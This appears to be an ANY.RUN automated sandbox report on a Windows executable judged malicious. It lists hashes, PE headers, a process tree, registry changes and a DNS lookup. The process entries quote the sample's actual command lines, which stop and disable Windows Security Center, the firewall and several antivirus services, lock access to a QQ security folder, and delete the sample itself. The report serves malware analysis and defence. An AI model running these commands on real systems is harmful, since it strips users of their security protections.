File name:

8c34ab14e3e41c0b22d30d1104362975.vir

Full analysis: https://app.any.run/tasks/15346607-cb0b-40ad-ba63-91297a4cba6d
Verdict: Malicious activity
Analysis date: July 06, 2021, 08:59:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: MS-DOS executable
MD5:

8C34AB14E3E41C0B22D30D1104362975

SHA1:

3E75AC5C3CDCE4EF741D5C83EF56E502490ED23E

SHA256:

3E3E6F47D60DD73CB290BAEE61E46FE915EC637FE485F78EEE4319E3C775B0DA

SSDEEP:

384:d+Ke2R2/cVCwS9wmpnqPergb/BQzoE+SbJ/ObE1S6qw8AZAq:IK09z9dqpLqzoE+SFOya34Aq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses NET.EXE to stop Windows Security Center service

      • cmd.exe (PID: 3400)

    • Starts NET.EXE for service management

      • cmd.exe (PID: 3400)

    • Changes the autorun value in the registry

      • 8c34ab14e3e41c0b22d30d1104362975.vir.exe (PID: 2280)

  • SUSPICIOUS

    • Checks supported languages

      • 8c34ab14e3e41c0b22d30d1104362975.vir.exe (PID: 2280)
      • cmd.exe (PID: 3400)
      • cmd.exe (PID: 3128)

    • Reads the computer name

      • 8c34ab14e3e41c0b22d30d1104362975.vir.exe (PID: 2280)

    • Starts CMD.EXE for commands execution

      • 8c34ab14e3e41c0b22d30d1104362975.vir.exe (PID: 2280)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 3400)

    • Starts CMD.EXE for self-deleting

      • 8c34ab14e3e41c0b22d30d1104362975.vir.exe (PID: 2280)

  • INFO

    • Checks supported languages

      • net1.exe (PID: 3540)
      • net.exe (PID: 2032)
      • net.exe (PID: 3644)
      • net1.exe (PID: 2248)
      • sc.exe (PID: 3480)
      • sc.exe (PID: 3956)
      • net1.exe (PID: 3520)
      • net.exe (PID: 3316)
      • net1.exe (PID: 3988)
      • net1.exe (PID: 2536)
      • net.exe (PID: 2992)
      • net1.exe (PID: 3976)
      • net.exe (PID: 2652)
      • cacls.exe (PID: 2844)
      • net.exe (PID: 3992)

    • Reads the computer name

      • net1.exe (PID: 3540)
      • net1.exe (PID: 2248)
      • sc.exe (PID: 3480)
      • sc.exe (PID: 3956)
      • net1.exe (PID: 2536)
      • net1.exe (PID: 3976)
      • net1.exe (PID: 3520)
      • net1.exe (PID: 3988)
      • cacls.exe (PID: 2844)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x0154
UninitializedDataSize: -
InitializedDataSize: 73728
CodeSize: 12288
LinkerVersion: -
PEType: PE32
TimeStamp: 1987:09:11 03:35:02+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 11-Sep-1987 01:35:02
Detected languages:
  • Chinese - PRC

DOS Header

Magic number: MZ
Bytes on last page of file: 0x3D2D
Pages in file: 0x7053
Relocations: 0x7269
Size of header: 0x7469
Min extra paragraphs: 0x2D3D
Max extra paragraphs: 0x4550
Initial SS value: 0x0000
Initial SP value: 0x014C
Checksum: 0x0002
Initial IP value: 0x5346
Initial CS value: 0x2147
Overlay number: 0x0000
OEM identifier: 0x010B
OEM information: 0x0000
Address of NE header: 0x0000000C

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 2
Time date stamp: 11-Sep-1987 01:35:02
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
0x00017000
0x00005000
0x00004EC5
IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.84215

Resources

Title
Entropy
Size
Codepage
Language
Type
1
0
720
UNKNOWN
Chinese - PRC
RT_VERSION
7
0
62
UNKNOWN
Chinese - PRC
RT_STRING
102
0
54
UNKNOWN
Chinese - PRC
RT_DIALOG
150
0
2432
UNKNOWN
Chinese - PRC
SYS
151
0
33280
UNKNOWN
Chinese - PRC
SYS
160
0
16384
UNKNOWN
Chinese - PRC
SYS

Imports

KERNEL32.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
18
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 8c34ab14e3e41c0b22d30d1104362975.vir.exe cmd.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs sc.exe no specs sc.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net1.exe no specs net.exe no specs net.exe no specs net1.exe no specs cacls.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2032net stop wscsvcC:\Windows\system32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
2248C:\Windows\system32\net1 stop sharedaccessC:\Windows\system32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dsrole.dll
c:\windows\system32\netutils.dll
2280"C:\Users\admin\AppData\Local\Temp\8c34ab14e3e41c0b22d30d1104362975.vir.exe" C:\Users\admin\AppData\Local\Temp\8c34ab14e3e41c0b22d30d1104362975.vir.exe
Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Exit code:
2
Modules
Images
c:\users\admin\appdata\local\temp\8c34ab14e3e41c0b22d30d1104362975.vir.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\mfc42.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2536C:\Windows\system32\net1 stop McShieldC:\Windows\system32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dsrole.dll
c:\windows\system32\netutils.dll
2652net stop "Norton AntiVirus Server"C:\Windows\system32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
2844cacls "C:\Program Files\Tencent\QQ\QQDoctor" /d everyoneC:\Windows\system32\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Control ACLs Program
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cacls.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2992net stop McShieldC:\Windows\system32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
3128cmd.exe /c echo ping 127.1 -n 4 >nul 2>nul >"C:\Program Files\sys.bat" & echo del "C:\Users\admin\AppData\Local\Temp\8c34ab14e3e41c0b22d30d1104362975.vir.exe" >>"C:\Program Files\sys.bat" & echo del "C:\Program Files\sys.bat">>"C:\Program Files\sys.bat" & "C:\Program Files\sys.bat"C:\Windows\system32\cmd.exe—8c34ab14e3e41c0b22d30d1104362975.vir.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3316net stop KWatchsvcC:\Windows\system32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
3400cmd.exe /c net stop wscsvc&net stop sharedaccess&sc config sharedaccess start= disabled&sc config wscsvc start= disabled &net stop KPfwSvc&net stop KWatchsvc&net stop McShield&net stop "Norton AntiVirus Server"&cacls "C:\Program Files\Tencent\QQ\QQDoctor" /d everyoneC:\Windows\system32\cmd.exe—8c34ab14e3e41c0b22d30d1104362975.vir.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
524
Read events
495
Write events
28
Delete events
1

Modification events

(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000003B010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A80164000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2280) 8c34ab14e3e41c0b22d30d1104362975.vir.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CDFE1C40-6505-49AE-A296-61117FA3FC30}
Operation:writeName:WpadDecisionReason
Value:
1
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
www.pyjhgodtq.com
  • —
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
8c34ab14e3e41c0b22d30d1104362975.vir